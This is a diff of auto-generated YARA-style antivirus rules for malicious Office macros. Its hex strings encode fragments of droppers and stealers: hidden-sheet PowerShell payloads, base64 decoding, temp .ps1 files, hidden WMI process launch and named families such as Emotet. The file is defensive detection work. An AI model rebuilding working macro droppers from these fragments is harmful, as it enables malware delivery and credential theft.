1)*8302+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_f3_8 & 1)*0) >=9 } -rule _InfrastructureShared_24491{ +rule _InfrastructureShared_25782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -319820,7 +336381,7 @@ rule _InfrastructureShared_24491{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*27743+(#a_20_2 & 1)*29984+(#a_79_3 & 1)*28767+(#a_20_4 & 1)*29537) >=5 } -rule _InfrastructureShared_24492{ +rule _InfrastructureShared_25783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 10 00 21 " @@ -319844,7 +336405,7 @@ rule _InfrastructureShared_24492{ ((#a_53_0 & 1)*19747+(#a_4d_1 & 1)*9760+(#a_28_2 & 1)*10242+(#a_28_3 & 1)*29288+(#a_01_4 & 1)*-28572+(#a_2b_6 & 1)*6400+(#a_02_7 & 1)*10276+(#a_72_8 & 1)*17184+(#a_02_9 & 1)*10276+(#a_32_10 & 1)*30051+(#a_53_11 & 1)*17989+(#a_6c_12 & 1)*25206+(#a_49_13 & 1)*23149+(#a_4f_14 & 1)*8744+(#a_63_15 & 1)*30821) >=1 } -rule _InfrastructureShared_24493{ +rule _InfrastructureShared_25784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -319857,7 +336418,7 @@ rule _InfrastructureShared_24493{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*17492+(#a_44_2 & 1)*31045+(#a_43_3 & 1)*21830) >=4 } -rule _InfrastructureShared_24494{ +rule _InfrastructureShared_25785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -319870,7 +336431,7 @@ rule _InfrastructureShared_24494{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*25965+(#a_74_2 & 1)*8307+(#a_65_3 & 1)*29810) >=4 } -rule _InfrastructureShared_24495{ +rule _InfrastructureShared_25786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -319889,7 +336450,7 @@ rule _InfrastructureShared_24495{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*26912+(#a_28_2 & 1)*11040+(#a_90_3 & 1)*28271+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1) >=10 } -rule _InfrastructureShared_24496{ +rule _InfrastructureShared_25787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 08 00 21 " @@ -319906,7 +336467,7 @@ rule _InfrastructureShared_24496{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*17184+(#a_6f_2 & 1)*23086+(#a_6d_3 & 1)*17408+(#a_2f_4 & 1)*10501+(#a_69_5 & 1)*2+(#a_6f_6 & 1)*27713+(#a_72_7 & 1)*29797) >=1 } -rule _InfrastructureShared_24497{ +rule _InfrastructureShared_25788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 08 00 21 " @@ -319923,7 +336484,7 @@ rule _InfrastructureShared_24497{ ((#a_6c_0 & 1)*16675+(#a_50_1 & 1)*25927+(#a_75_2 & 1)*25970+(#a_22_3 & 1)*25454+(#a_61_4 & 1)*30051+(#a_53_5 & 1)*28498+(#a_41_6 & 1)*19278+(#a_72_7 & 1)*17998) >=4 } -rule _InfrastructureShared_24498{ +rule _InfrastructureShared_25789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 04 00 21 " @@ -319936,7 +336497,7 @@ rule _InfrastructureShared_24498{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*17998+(#a_6f_2 & 1)*20572+(#a_20_3 & 1)*28495) >=3 } -rule _InfrastructureShared_24499{ +rule _InfrastructureShared_25790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 23 00 21 " @@ -319978,7 +336539,7 @@ rule _InfrastructureShared_24499{ ((#a_53_0 & 1)*19747+(#a_27_1 & 1)*8736+(#a_65_2 & 1)*8253+(#a_20_3 & 1)*8192+(#a_22_5 & 1)*10240+(#a_00_6 & 1)*10530+(#a_78_7 & 1)*10240+(#a_28_8 & 1)*24946+(#a_00_9 & 1)*27756+(#a_22_10 & 1)*8704+(#a_00_11 & 1)*66+(#a_20_12 & 1)*8195+(#a_73_13 & 1)*8283+(#a_20_14 & 1)*8283+(#a_5b_15 & 1)*23389+(#a_20_16 & 1)*23840+(#a_28_17 & 1)*656+(#a_74_18 & 1)*25970+(#a_65_19 & 1)*17184+(#a_01_20 & 1)*8788+(#a_22_21 & 1)*5632+(#a_77_22 & 1)*17484+(#a_01_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1+(#a_0a_26 & 1)*0+(#a_20_27 & 1)*23924+(#a_20_28 & 1)*23840+(#a_5b_29 & 1)*8736+(#a_02_30 & 1)*8308+(#a_90_31 & 1)*4098+(#a_3d_32 & 1)*22351+(#a_02_33 & 1)*8308) >=3 } -rule _InfrastructureShared_24500{ +rule _InfrastructureShared_25791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -319991,7 +336552,7 @@ rule _InfrastructureShared_24500{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*29472+(#a_5b_2 & 1)*8311+(#a_20_3 & 1)*29472) >=4 } -rule _InfrastructureShared_24501{ +rule _InfrastructureShared_25792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0c 00 21 " @@ -320012,7 +336573,7 @@ rule _InfrastructureShared_24501{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*29283+(#a_52_2 & 1)*8302+(#a_70_3 & 1)*16128+(#a_68_4 & 1)*29285+(#a_0f_5 & 1)*-28616+(#a_34_6 & 1)*656+(#a_90_7 & 1)*3842+(#a_20_8 & 1)*29472+(#a_5b_9 & 1)*8311+(#a_20_10 & 1)*8224+(#a_20_11 & 1)*29472) >=1 } -rule _InfrastructureShared_24502{ +rule _InfrastructureShared_25793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -320025,7 +336586,7 @@ rule _InfrastructureShared_24502{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*29472+(#a_5b_2 & 1)*8311+(#a_20_3 & 1)*29472) >=4 } -rule _InfrastructureShared_24503{ +rule _InfrastructureShared_25794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,1a 00 1a 00 0a 00 21 " @@ -320043,7 +336604,7 @@ rule _InfrastructureShared_24503{ ((#a_4c_0 & 1)*21539+(#a_4e_1 & 1)*17476+(#a_20_2 & 1)*23644+(#a_53_3 & 1)*11520+(#a_3d_4 & 1)*4098+(#a_53_6 & 1)*8192+(#a_3d_7 & 1)*4098+(#a_6f_8 & 1)*28265+(#a_65_9 & 1)*17198) >=26 } -rule _InfrastructureShared_24504{ +rule _InfrastructureShared_25795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -320066,7 +336627,7 @@ rule _InfrastructureShared_24504{ ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*28484+(#a_00_2 & 1)*24352+(#a_69_3 & 1)*16641+(#a_6c_4 & 1)*30032+(#a_35_5 & 1)*16674+(#a_6c_6 & 1)*18031+(#a_72_7 & 1)*30309+(#a_29_8 & 1)*26914+(#a_35_9 & 1)*13365+(#a_00_10 & 1)*144+(#a_70_11 & 1)*20995+(#a_61_12 & 1)*28773+(#a_20_13 & 1)*27756) >=14 } -rule _InfrastructureShared_24505{ +rule _InfrastructureShared_25796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -320084,7 +336645,7 @@ rule _InfrastructureShared_24505{ ((#a_53_0 & 1)*19747+(#a_38_1 & 1)*28263+(#a_2c_2 & 1)*656+(#a_52_3 & 1)*29779+(#a_38_4 & 1)*14134+(#a_36_5 & 1)*14132+(#a_00_6 & 1)*10530+(#a_2e_7 & 1)*25449+(#a_20_8 & 1)*8202) >=9 } -rule _InfrastructureShared_24506{ +rule _InfrastructureShared_25797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,2e 00 2e 00 0a 00 21 " @@ -320096,13 +336657,44 @@ rule _InfrastructureShared_24506{ $a_02_4 = {10 20 3d 20 47 65 74 4f 62 6a 65 63 74 28 22 77 69 6e 6d 67 6d 74 73 3a 5c 5c 22 20 26 20 73 74 72 43 6f 6d 70 75 74 65 72 20 26 20 22 5c 72 6f 6f 74 5c 63 69 6d 76 32 22 29 0d 0a 90 00 01 00 2d 03 53 65 74 20 90 02 10 20 3d 20 90 02 10 2e 47 65 74 28 22 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 53 74 61 72 74 75 70 22 29 0d 0a 90 00 01 00 20 03 53 65 74 20 90 02 10 20 3d 20 90 02 10 2e 53 70 61 77 6e 49 6e 73 74 61 6e 63 65 5f 0d } //8308 $a_2e_6 = {68 } //7424 h $a_69_7 = {64 6f 77 20 3d 20 48 49 44 44 45 4e 5f 57 49 4e 44 4f 57 0d 0a 01 00 4a 03 53 65 74 20 90 02 10 20 3d 20 47 65 74 4f 62 6a 65 63 74 28 22 77 69 6e 6d 67 6d 74 73 3a 5c 5c 22 20 26 20 90 02 10 20 26 20 22 5c 72 6f 6f 74 5c 63 69 6d 76 32 3a 57 69 6e 33 32 5f 50 } //30575 - $a_65_8 = {73 22 29 0d 0a 90 00 01 00 1f 03 2e 43 72 65 61 74 65 20 90 02 10 2c 20 4e 75 6c 6c 2c 20 90 02 10 2c 20 90 02 10 0d 0a 90 00 00 00 8f 1b 02 00 04 00 04 00 04 00 21 23 4d 48 53 54 52 3a 45 6d 6f 74 65 74 2e 4f 41 5a 21 4d 54 42 00 01 00 96 03 20 3d 20 22 5d 5b 20 20 73 20 20 5d 5b 20 77 20 5d 5b } //28530 - $a_20_9 = {20 20 5d 5b 20 77 20 5d 5b 77 5d 5b 20 20 73 20 20 5d 5b 20 77 20 5d 5b 69 5d 5b 20 20 73 20 20 } //23389 ][ w ][w][ s ][ w ][i][ s + $a_65_8 = {73 22 29 0d 0a 90 00 01 00 1f 03 2e 43 72 65 61 74 65 20 90 02 10 2c 20 4e 75 6c 6c 2c 20 90 02 10 2c 20 90 02 10 0d 0a 90 00 00 00 8f 13 02 00 08 00 08 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 4f 39 37 4d 2f 5a 6f 6f 46 6c 69 70 2e 41 21 64 68 61 00 01 00 2d 01 63 72 } //28530 + $a_65_9 = {6d 61 67 65 6c 69 62 22 6b 65 72 6e 65 6c 33 32 22 61 6c 69 61 73 22 63 72 65 61 74 65 70 72 6f 63 65 73 73 77 22 01 00 29 01 63 6c 6f 73 65 69 6d 61 67 65 6c 69 62 22 6b 65 72 6e 65 6c 33 32 22 61 6c 69 61 73 22 63 6c 6f 73 65 68 61 6e 64 6c 65 22 01 00 2a 01 64 65 6c 65 74 65 69 6d 61 67 65 6c 69 62 22 6b 65 72 6e 65 6c 33 32 22 61 6c 69 61 73 } //24933 condition: - ((#a_4c_0 & 1)*21539+(#a_43_1 & 1)*26656+(#a_90_2 & 1)*4098+(#a_3d_3 & 1)*22351+(#a_02_4 & 1)*8308+(#a_2e_6 & 1)*7424+(#a_69_7 & 1)*30575+(#a_65_8 & 1)*28530+(#a_20_9 & 1)*23389) >=46 + ((#a_4c_0 & 1)*21539+(#a_43_1 & 1)*26656+(#a_90_2 & 1)*4098+(#a_3d_3 & 1)*22351+(#a_02_4 & 1)*8308+(#a_2e_6 & 1)*7424+(#a_69_7 & 1)*30575+(#a_65_8 & 1)*28530+(#a_65_9 & 1)*24933) >=46 } -rule _InfrastructureShared_24507{ +rule _InfrastructureShared_25798{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 0a 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 4f 39 37 4d 2f 5a 6f 6f 46 6c 69 70 2e 41 21 64 68 61 00 01 00 2d 01 63 72 65 61 74 65 69 6d 61 67 65 6c 69 62 22 6b 65 72 6e 65 6c 33 32 22 61 6c 69 61 73 22 63 72 65 61 74 65 70 72 6f } //16675 牔橯湡牄灯数㩲㥏䴷娯潯汆灩䄮搡慨Āⴀ持敲瑡楥慭敧楬≢敫湲汥㈳愢楬獡挢敲瑡灥潲 + $a_73_1 = {22 01 00 29 01 63 6c 6f 73 65 69 6d 61 67 65 6c 69 62 22 6b 65 72 6e 65 6c 33 32 22 61 6c 69 61 73 22 63 6c 6f 73 65 68 61 6e 64 6c 65 22 01 00 2a 01 64 65 6c 65 74 65 69 6d 61 67 65 6c 69 62 22 6b 65 72 6e 65 6c 33 32 22 61 6c 69 61 73 22 63 72 65 61 74 65 66 69 6c 65 77 22 01 00 25 01 72 65 61 64 69 6d 61 67 65 6c 69 62 22 6b 65 72 6e 65 6c } //25955 + $a_61_2 = {69 61 73 22 72 65 61 64 66 69 6c 65 22 01 00 27 01 77 72 69 74 65 69 6d 61 67 65 6c 69 62 22 6b 65 72 } //12851 慩≳敲摡楦敬Ģ✀省楲整浩条汥扩欢牥 + $a_33_3 = {22 61 6c 69 61 73 22 77 72 69 74 65 66 69 6c 65 22 01 00 2b 01 67 65 74 69 6d 61 67 65 73 69 7a 65 6c 69 62 22 6b 65 72 6e 65 6c 33 32 22 61 6c 69 61 73 22 67 65 74 66 69 6c 65 73 69 7a 65 22 01 00 38 01 67 65 74 69 6d 61 67 65 72 65 73 6f 6c 75 74 69 6f 6e 6c 69 62 22 6b 65 72 6e 65 6c 33 32 22 61 6c 69 61 73 22 67 65 74 } //25966 + $a_65_4 = {74 74 72 69 62 75 74 65 73 77 22 01 00 33 01 63 6c 73 69 64 34 65 37 37 31 33 31 64 33 36 32 39 34 33 31 63 39 38 31 38 63 35 36 37 39 64 63 38 33 65 38 31 69 6e 70 72 6f 63 73 65 72 76 65 72 33 32 01 00 33 01 63 6c 73 69 64 32 32 32 37 61 32 38 30 33 61 65 61 31 30 36 39 61 32 64 65 30 38 30 30 32 62 33 30 33 30 39 64 69 } //26982 + $a_6f_5 = {73 65 72 76 65 72 33 32 01 00 27 01 67 65 74 72 67 62 61 70 61 79 6c 6f 61 64 62 79 74 65 73 30 74 68 65 6e 65 78 69 74 66 75 6e 63 74 69 6f 6e 65 6e 64 00 00 8f 19 02 00 03 00 03 00 03 00 21 23 4d 48 53 54 52 3a 4f 39 37 4d 2f 53 74 65 61 6c 65 72 2e 41 42 31 30 31 21 4d 54 42 00 01 00 53 01 29 2e 76 69 73 69 62 6c 65 3d 78 6c 73 68 65 65 } //28782 + $a_72_6 = {68 69 64 64 65 6e 73 68 65 65 74 73 28 22 70 6f 77 65 72 73 68 65 6c 6c 63 6f 64 65 22 29 2e 76 69 73 69 62 6c 65 3d 78 6c 73 68 65 65 74 76 65 72 79 68 69 64 64 65 6e 65 6e 64 73 75 62 01 00 f1 03 66 6f 72 65 61 63 68 78 69 6e 73 68 65 65 74 73 28 22 70 6f 77 65 72 73 68 65 6c 6c 63 6f 64 65 22 29 2e } //30324 + $a_67_7 = {28 22 61 31 3a 61 31 30 22 29 69 66 74 72 69 6d 28 78 2e 76 61 6c 75 65 29 3c 3e 22 22 74 68 65 6e 65 6e 63 6f 64 65 64 3d 65 6e 63 6f 64 65 64 26 78 2e 76 61 6c 75 65 65 6e 64 69 66 6e 65 78 74 78 69 66 6c 65 6e 28 65 6e 63 6f 64 65 64 29 3c 35 30 74 68 65 6e 65 78 69 74 73 75 62 27 32 2e 90 02 07 62 61 73 65 36 34 90 02 07 70 } //24946 + $a_72_8 = {68 65 6c 6c 77 69 74 68 63 72 65 61 74 65 6f 62 6a 65 63 74 28 22 6d 73 78 6d 6c 32 2e 64 6f 6d 64 6f 63 75 6d 65 6e 74 22 29 2e 63 72 65 61 74 65 65 6c 65 6d 65 6e 74 28 22 62 36 34 22 29 2e 64 61 74 61 74 79 70 65 3d 22 62 69 6e 2e 62 61 73 65 36 34 90 00 01 00 a2 01 74 65 6d 70 70 73 31 3d 65 6e 76 } //30575 + $a_6e_9 = {22 74 65 6d 70 22 29 26 22 5c 72 75 6e 5f 22 26 69 6e 74 28 72 6e 64 28 29 2a 31 30 30 30 30 30 29 26 22 2e 70 73 31 22 73 65 74 66 73 6f 3d 63 72 65 61 74 65 6f 62 6a 65 63 74 28 22 73 63 72 69 70 74 69 6e 67 2e 66 69 6c 65 73 79 73 74 65 6d 6f 62 6a 65 63 74 22 29 73 65 74 66 69 6c 65 3d 66 73 6f 2e 63 72 65 61 74 65 74 65 78 74 } //29289 "temp")&"\run_"&int(rnd()*100000)&".ps1"setfso=createobject("scripting.filesystemobject")setfile=fso.createtext + condition: + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25955+(#a_61_2 & 1)*12851+(#a_33_3 & 1)*25966+(#a_65_4 & 1)*26982+(#a_6f_5 & 1)*28782+(#a_72_6 & 1)*30324+(#a_67_7 & 1)*24946+(#a_72_8 & 1)*30575+(#a_6e_9 & 1)*29289) >=8 + +} +rule _InfrastructureShared_25799{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_53_0 = {52 3a 4f 39 37 4d 2f 53 74 65 61 6c 65 72 2e 41 42 31 30 31 21 4d 54 42 00 01 00 53 01 29 2e 76 69 73 69 62 6c 65 3d 78 6c 73 68 65 65 74 76 65 72 79 68 69 64 64 65 6e 73 68 65 65 74 73 28 22 70 6f 77 65 72 73 68 65 } //19747 + $a_6f_1 = {65 22 29 2e 76 69 73 69 62 6c 65 3d 78 6c 73 68 65 65 74 76 65 72 79 68 69 64 64 65 6e 65 6e 64 73 75 62 01 00 f1 03 66 6f 72 65 61 63 68 78 69 6e 73 68 65 65 74 73 28 22 70 6f 77 65 72 73 68 65 6c 6c 63 6f 64 65 22 29 2e 72 61 6e 67 65 28 22 61 31 3a 61 31 30 22 29 69 66 74 72 69 6d 28 78 2e 76 } //27756 + $a_65_2 = {3c 3e 22 22 74 68 65 6e 65 6e 63 6f 64 65 64 3d 65 6e 63 6f 64 65 64 26 78 2e 76 61 6c 75 65 65 6e 64 69 66 6e 65 78 74 78 69 66 6c 65 6e 28 65 6e 63 6f 64 65 64 29 3c 35 30 74 68 65 6e 65 78 69 74 73 75 62 27 32 2e 90 02 07 62 61 73 65 36 34 90 02 07 70 6f 77 65 72 73 68 65 6c 6c 77 69 74 68 63 72 65 61 74 65 6f 62 6a 65 63 74 28 22 6d 73 78 6d 6c } //27745 + condition: + ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*27756+(#a_65_2 & 1)*27745) >=3 + +} +rule _InfrastructureShared_25800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -320115,7 +336707,7 @@ rule _InfrastructureShared_24507{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*29472+(#a_5b_2 & 1)*8311+(#a_5d_3 & 1)*8307) >=4 } -rule _InfrastructureShared_24508{ +rule _InfrastructureShared_25801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -320131,7 +336723,7 @@ rule _InfrastructureShared_24508{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*28009+(#a_20_2 & 1)*-28553+(#a_90_3 & 1)*8194+(#a_00_4 & 1)*3216+(#a_69_5 & 1)*25454+(#a_00_6 & 1)*28009) >=8 } -rule _InfrastructureShared_24509{ +rule _InfrastructureShared_25802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -320151,7 +336743,7 @@ rule _InfrastructureShared_24509{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8235+(#a_6e_2 & 1)*26996+(#a_20_3 & 1)*-28640+(#a_3d_4 & 1)*12290+(#a_02_5 & 1)*10537+(#a_02_6 & 1)*10528+(#a_6f_7 & 1)*11777+(#a_32_8 & 1)*13362+(#a_2c_9 & 1)*12593+(#a_78_10 & 1)*12630) >=11 } -rule _InfrastructureShared_24510{ +rule _InfrastructureShared_25803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0a 00 21 " @@ -320170,7 +336762,7 @@ rule _InfrastructureShared_24510{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*27765+(#a_36_2 & 1)*11321+(#a_56_3 & 1)*13386+(#a_3b_4 & 1)*13420+(#a_6e_5 & 1)*22356+(#a_00_6 & 1)*12+(#a_4f_7 & 1)*29797+(#a_22_8 & 1)*656+(#a_90_9 & 1)*8194) >=1 } -rule _InfrastructureShared_24511{ +rule _InfrastructureShared_25804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -320188,7 +336780,7 @@ rule _InfrastructureShared_24511{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8235+(#a_20_2 & 1)*-28640+(#a_72_4 & 1)*17696+(#a_20_5 & 1)*-28640+(#a_20_6 & 1)*10528+(#a_6e_7 & 1)*17923+(#a_77_8 & 1)*28520+(#a_00_10 & 1)*2) >=12 } -rule _InfrastructureShared_24512{ +rule _InfrastructureShared_25805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 08 00 21 " @@ -320204,7 +336796,7 @@ rule _InfrastructureShared_24512{ ((#a_53_0 & 1)*19747+(#a_43_2 & 1)*10496+(#a_2e_3 & 1)*656+(#a_2c_4 & 1)*656+(#a_02_5 & 1)*10361+(#a_20_6 & 1)*8768+(#a_00_7 & 1)*3216) >=1 } -rule _InfrastructureShared_24513{ +rule _InfrastructureShared_25806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -320222,7 +336814,7 @@ rule _InfrastructureShared_24513{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*30789+(#a_72_2 & 1)*21300+(#a_02_3 & 1)*8270+(#a_00_4 & 1)*1+(#a_34_5 & 1)*0+(#a_6f_6 & 1)*29552+(#a_69_7 & 1)*24931+(#a_6b_8 & 1)*24918) >=9 } -rule _InfrastructureShared_24514{ +rule _InfrastructureShared_25807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -320237,7 +336829,7 @@ rule _InfrastructureShared_24514{ ((#a_4c_0 & 1)*21539+(#a_69_1 & 1)*25454+(#a_65_2 & 1)*29285+(#a_74_3 & 1)*8236+(#a_32_4 & 1)*9760+(#a_79_5 & 1)*8236) >=6 } -rule _InfrastructureShared_24515{ +rule _InfrastructureShared_25808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -320249,7 +336841,7 @@ rule _InfrastructureShared_24515{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*20596+(#a_6f_2 & 1)*28233) >=3 } -rule _InfrastructureShared_24516{ +rule _InfrastructureShared_25809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -320273,7 +336865,7 @@ rule _InfrastructureShared_24516{ ((#a_53_0 & 1)*19747+(#a_45_1 & 1)*2+(#a_69_2 & 1)*20480+(#a_56_3 & 1)*16928+(#a_20_4 & 1)*1792+(#a_22_5 & 1)*29730+(#a_6e_6 & 1)*21038+(#a_46_7 & 1)*8704+(#a_20_8 & 1)*28521+(#a_20_9 & 1)*8224+(#a_20_10 & 1)*28527+(#a_6d_11 & 1)*17408+(#a_29_12 & 1)*10528+(#a_2b_13 & 1)*8194+(#a_6f_14 & 1)*19459) >=15 } -rule _InfrastructureShared_24517{ +rule _InfrastructureShared_25810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 09 00 21 " @@ -320291,7 +336883,7 @@ rule _InfrastructureShared_24517{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*26691+(#a_2b_2 & 1)*770+(#a_70_3 & 1)*21024+(#a_90_4 & 1)*8752+(#a_6f_5 & 1)*23086+(#a_69_6 & 1)*2+(#a_3a_7 & 1)*17748+(#a_61_8 & 1)*11883) >=1 } -rule _InfrastructureShared_24518{ +rule _InfrastructureShared_25811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,12 00 12 00 08 00 21 " @@ -320307,7 +336899,7 @@ rule _InfrastructureShared_24518{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*22387+(#a_52_2 & 1)*9760+(#a_2e_3 & 1)*8236+(#a_69_4 & 1)*24931+(#a_62_5 & 1)*29295+(#a_63_7 & 1)*27760) >=18 } -rule _InfrastructureShared_24519{ +rule _InfrastructureShared_25812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 14 00 21 " @@ -320335,7 +336927,7 @@ rule _InfrastructureShared_24519{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*10243+(#a_20_2 & 1)*8243+(#a_20_3 & 1)*10243+(#a_00_4 & 1)*3984+(#a_20_5 & 1)*8197+(#a_2d_7 & 1)*14376+(#a_30_8 & 1)*1568+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_50_18 & 1)*0+(#a_22_19 & 1)*8808) >=1 } -rule _InfrastructureShared_24520{ +rule _InfrastructureShared_25813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -320350,7 +336942,7 @@ rule _InfrastructureShared_24520{ ((#a_53_0 & 1)*19747+(#a_26_1 & 1)*27438+(#a_26_2 & 1)*27475+(#a_26_3 & 1)*25954+(#a_26_4 & 1)*25966+(#a_26_5 & 1)*25391) >=1 } -rule _InfrastructureShared_24521{ +rule _InfrastructureShared_25814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0a 00 21 " @@ -320369,7 +336961,7 @@ rule _InfrastructureShared_24521{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*12290+(#a_02_2 & 1)*24368+(#a_02_3 & 1)*26944+(#a_02_4 & 1)*11824+(#a_52_5 & 1)*27749+(#a_2d_6 & 1)*14637+(#a_53_7 & 1)*29808+(#a_20_8 & 1)*656+(#a_28_9 & 1)*24941) >=1 } -rule _InfrastructureShared_24522{ +rule _InfrastructureShared_25815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0c 00 21 " @@ -320389,7 +336981,7 @@ rule _InfrastructureShared_24522{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*11568+(#a_90_2 & 1)*11552+(#a_65_3 & 1)*21294+(#a_20_4 & 1)*656+(#a_6c_5 & 1)*25960+(#a_6c_7 & 1)*26707+(#a_61_8 & 1)*29249+(#a_00_9 & 1)*144+(#a_22_10 & 1)*11011+(#a_02_11 & 1)*9250) >=1 } -rule _InfrastructureShared_24523{ +rule _InfrastructureShared_25816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0b 00 21 " @@ -320409,7 +337001,7 @@ rule _InfrastructureShared_24523{ ((#a_53_0 & 1)*19747+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_5f_10 & 1)*0) >=1 } -rule _InfrastructureShared_24524{ +rule _InfrastructureShared_25817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -320423,7 +337015,7 @@ rule _InfrastructureShared_24524{ ((#a_53_0 & 1)*19747+(#a_5d_1 & 1)*8266+(#a_5b_2 & 1)*19010+(#a_75_3 & 1)*8240+(#a_5b_4 & 1)*8705) >=5 } -rule _InfrastructureShared_24525{ +rule _InfrastructureShared_25818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -320436,7 +337028,7 @@ rule _InfrastructureShared_24525{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*29472+(#a_5b_2 & 1)*8311+(#a_20_3 & 1)*29472) >=4 } -rule _InfrastructureShared_24526{ +rule _InfrastructureShared_25819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -320451,7 +337043,7 @@ rule _InfrastructureShared_24526{ ((#a_53_0 & 1)*19747+(#a_20_1 & 